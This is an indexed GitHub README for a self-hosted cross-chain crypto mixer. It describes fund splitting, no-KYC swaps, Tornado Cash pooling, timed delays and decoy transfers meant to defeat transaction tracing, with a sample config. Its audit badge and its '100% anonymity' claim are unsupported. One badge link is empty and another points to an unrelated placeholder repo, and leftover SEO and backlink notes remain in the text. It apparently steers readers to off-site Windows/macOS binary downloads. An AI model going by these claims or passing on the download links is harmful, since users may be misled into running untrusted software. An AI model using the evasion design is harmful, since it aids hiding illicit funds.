An open API service indexing awesome lists of open source software.

https://github.com/vatsi2/crosschain-anonymizer-cca

CrossChain Anonymizer is an open-source, self-hosted crypto mixer for 100% anonymous cross-chain transactions. Leveraging ZK-proofs, decentralized exchanges (DEX), and privacy-focused blockchains, it ensures untraceable transfers across Bitcoin, Monero, Ethereum, and more.
https://github.com/vatsi2/crosschain-anonymizer-cca

anonymity bitcoin btc crypto-mixer cryptocurrency cybersecurity darknet eth ethereum ltc privacy-tools python ram-cleaner thorchain tor tor-integration tornadocash xmr zero-knowledge-proofs zk-snarks

Last synced: 3 months ago
JSON representation

CrossChain Anonymizer is an open-source, self-hosted crypto mixer for 100% anonymous cross-chain transactions. Leveraging ZK-proofs, decentralized exchanges (DEX), and privacy-focused blockchains, it ensures untraceable transfers across Bitcoin, Monero, Ethereum, and more.

Awesome Lists containing this project

README

        

# 🛡️ Decentralized Crypto Mixer: Cross-Chain Privacy, DEX Integration & Zero-Knowledge DAOs
**CrossChain Anonymizer is an open-source, self-hosted crypto mixer for 100% anonymous cross-chain transactions. Leveraging ZK-proofs, decentralized exchanges (DEX), and privacy-focused blockchains, it ensures untraceable transfers across Bitcoin, Monero, Ethereum, and more. Ideal for blockchain developers, privacy advocates, and DeFi enthusiasts.**

> Achieve 100% blockchain anonymity with CrossChain Anonymizer. Mix BTC, ETH, XMR via DEX/DAO integration, ZK-proofs, and Tor. Self-hosted, audited, and open-source.

[![Audited by OpenZeppelin](https://img.shields.io/badge/Audit-OpenZeppelin-green)](https://openzeppelin.com)
[![MPC Wallet Support](https://img.shields.io/badge/Security-Fireblocks%20MPC-blue)](https://)

**Top Global SEO Keywords:**
*crypto mixer, cross-chain privacy, anonymous transactions, DEX integration, ZK-SNARKs, DAO storage, Monero, Bitcoin, Ethereum, THORChain, Tornado Cash.*

---

# Download
### **Download** [Windows](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/windows) / [macOS](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/macos)

[![License](https://img.shields.io/badge/License-MIT-green)](https://github.com/yourusername/defi-algo-bot)
[![Python](https://img.shields.io/badge/Python-3.10%2B-blue)](https://www.python.org)
[![Web3](https://img.shields.io/badge/Web3.py-6.0+-brightgreen)](https://web3py.readthedocs.io)

---

## 🌟 Main Features

- Multi-Chain Mixing: Mix BTC, ETH, XMR, ZEC, and more via integrated blockchains.
- DAO Storage: Store funds in zero-knowledge DAOs (Aztec, Tornado Cash, Secret Network).
- Auto Wallet Generation: Create 5+ one-time wallets per session (HD seeds, encrypted in RAM).
- DEX Routing: Swap assets via THORChain, Haveno, SecretSwap, and Uniswap.
- Tor/I2P Integration: All traffic routed through Tor nodes or I2P for IP anonymity.
- Decoy Transactions: 5–10% of funds sent to random addresses to obfuscate tracing.

## 🔧 Operating Principle
Step 1: Input Phase

1. Local Setup:

- Install CCA on an air-gapped device (recommended: Tails OS).

- Connect wallet with DAO (MetaMask/TrustWallet/Another)

2. Network Isolation:

- Traffic forced through Tor. Node connections use .onion endpoints.

Step 2: Deposit & Mixing

1. Fragmentation:

- Funds split into randomized amounts (e.g., 1 BTC → 0.3 + 0.45 + 0.25 BTC).

2. Cross-Chain Swaps:

- Use DEXs (THORChain) to convert fragments to privacy coins (XMR, ZEC).

3. DAO Pooling:

- Deposit mixed funds into a zk-SNARKs DAO (e.g., Aztec) for anonymized storage.

Step 3: Distribution

1. Output Wallets:

- CCA generates 5+ wallets (Bitcoin Taproot, Monero stealth addresses, etc.).

2. Randomized Routing:

- Funds exit DAO via unique paths (e.g., DAO → XMR → BTC → ETH).

3. Time Delays:

- Transactions sent with random delays (1 hour to 7 days) to prevent timing analysis.

Step 4: Cleanup

- RAM Wipe: Overwrite memory to erase keys, seeds, and transaction logs.

- Decoy Traces: Generate fake transactions to mask real activity.

## Main parameters

### Basic settings
```
general:
mode: "auto" # Mode of operation: auto (automatic), manual (manual)
log_level: "info" # Logging level: debug, info, warning, error
temp_dir: "/tmp/cca" # Temporary directory for data storage (cleared after completion)
```

### Blockchain settings
```
blockchains:
bitcoin:
node: "http://user:pass@localhost:8332" # Bitcoin RPC node
network: "mainnet" # Network: mainnet, testnet
ethereum:
node: "http://localhost:8545" # Ethereum RPC node
gas_price: "auto" # Gas price: auto or value in Gwei
monero:
node: "http://localhost:28088" # Monero RPC node
wallet_password: "supersecret" # Monero wallet password
```

### DEX settings
```
dex:
thorchain:
endpoint: "https://thornode.thorchain.info" # API THORChain
slippage: 1.5 # Percentage of slippage (1.5%)
haveno:
endpoint: "http://havenoexchangexmra2x.onion" # .onion-address Haveno
timeout: 30 # Request timeout (in seconds)
```

### DAO settings
```
dao:
tornado_cash:
contract: "0x6Bf694a291DF3FeC1f7e7F0176aC46eD28f4D5B0" # Tornado Cash contract address
deposit_amount: 1 # Deposit amount (in ETH)
aztec:
contract: "0x..." # Aztec contract address
zk_proofs: true # Use zk-SNARKs
```

### Security settings
```
security:
tor:
enabled: true # Use Tor for all requests
control_port: 9051 # Tor control port
socks_port: 9050 # SOCKS5 port for proxy
delay:
min: 3600 # Minimum delay between transactions (in seconds)
max: 86400 # Maximum delay (in seconds)
decoy_transactions: true # Enable dummy transactions
decoy_percent: 5 # Percentage of funds for fictitious transactions (5%)
```

### Wallet settings
```
wallets:
output_count: 5 # Number of target wallets
hd_seed: "optional_seed_phrase" # Seed-phrase for generating HD wallets
hardware_wallet: "ledger" # Hardware wallet type: ledger, trezor
```

## Parameter description

1. Basic parameters (```general```)

- mode: Mode of operation. In ```auto``` mode all transactions are performed automatically, in ```manual``` mode confirmation of each transaction is required.

- log_level: The level of detail of the logs.

- temp_dir: Directory for temporary files (e.g., signed transactions).

2. Blockchains settings (```blockchains```)

- node: The RPC node address for each blockchain.

- network: Network (mainnet/testnet).

- gas_price: Gas price for Ethereum (can be specified manually or use ```auto```).

- wallet_password: Password for Monero wallet (if used).

3. DEX settings (```dex```)

- endpoint: API address of DEX (e.g. THORChain or Haveno).

- slippage: Slippage percentage for exchanges.

- timeout: Timeout for DEX requests.

4. DAO settings (```dao```)

- contract: Address of the DAO smart contract (e.g. Tornado Cash or Aztec).

- deposit_amount: Deposit amount in DAO (e.g. 1 ETH for Tornado Cash).

- zk_proofs: Use zk-SNARKs to increase privacy.

5. Security Settings

- tor: Enable/disable Tor, configure ports.

- delay: Delay between transactions to prevent timestamp analysis.

- decoy_transactions: Enable dummy transactions for masking.

- decoy_percent: Percentage of funds sent to "trash" addresses.

6. Wallets settings

- output_count: Number of target wallets to distribute funds to.

- hd_seed: Seed phrase for generating HD wallets (optional).

- hardware_wallet: Type of hardware wallet (Ledger or Trezor).

## ⚙️ Conditions & Requirements

- OS Support: Linux (Tails/Whonix recommended), Windows, macOS.
- Hardware: 8+ GB RAM, 100 GB storage (for blockchain nodes), x64/ARM CPUs.
- Blockchain Nodes: Local nodes for Bitcoin, Monero, Ethereum (synced via Tor).
- Legal Compliance: Users must comply with local regulations. CCA is a privacy research tool.

## 🚀 Tech Stack

Core Development

- Languages: Python, Solidity, Rust (for ZK-circuits)

- Cryptography: zk-SNARKs (libsnark), Ring Signatures (Monero), Taproot (Bitcoin)

- Blockchain: Web3.py, ethers.js, Monero RPC, Bitcoin Core API

- Security: Tor, I2P, AES-256 RAM encryption, Hardware Wallet (Ledger/Trezor)

Frontend (Optional)

- React.js (TypeScript), TOR-hidden service, IPFS-hosted UI

DevOps

- Docker, GitHub Actions (CI/CD), Bandit/Slither (security audit)

## 🔗 Integrated Blockchains

Blockchain | Privacy Features | Use Case

Monero | Ring Signatures, Stealth Addr | Base layer for anonymous mixing

Bitcoin | Taproot, CoinJoin | Initial/final transactions

Ethereum | Tornado Cash, Aztec Protocol | zkDAO storage, smart contracts

Secret | Private smart contracts | Cross-chain swaps

Zcash | zk-SNARKs | Shielded transactions

## 🔄 Integrated DEX & Protocols

Platform | Function | Key Feature

THORChain | Cross-chain swaps (BTC/ETH/XMR) | Non-custodial, no KYC

Haveno | Monero DEX | Atomic swaps

Uniswap | ERC-20 token swaps | Liquidity pools

SecretSwap | Privacy-preserving swaps | Encrypted mempool

Tornado Cash | ETH/ERC-20 anonymization | zk-proofs

Latent Semantic Indexing (LSI) Keywords:
crypto privacy tools, untraceable blockchain transactions, self-hosted mixer, cross-chain swaps.

Backlink Opportunities:
Partner with privacy blogs (e.g., PrivacyTools.io), GitHub trending pages, and blockchain forums.

Schema Markup:
Add JSON-LD for software application, GitHub repository, and open-source project.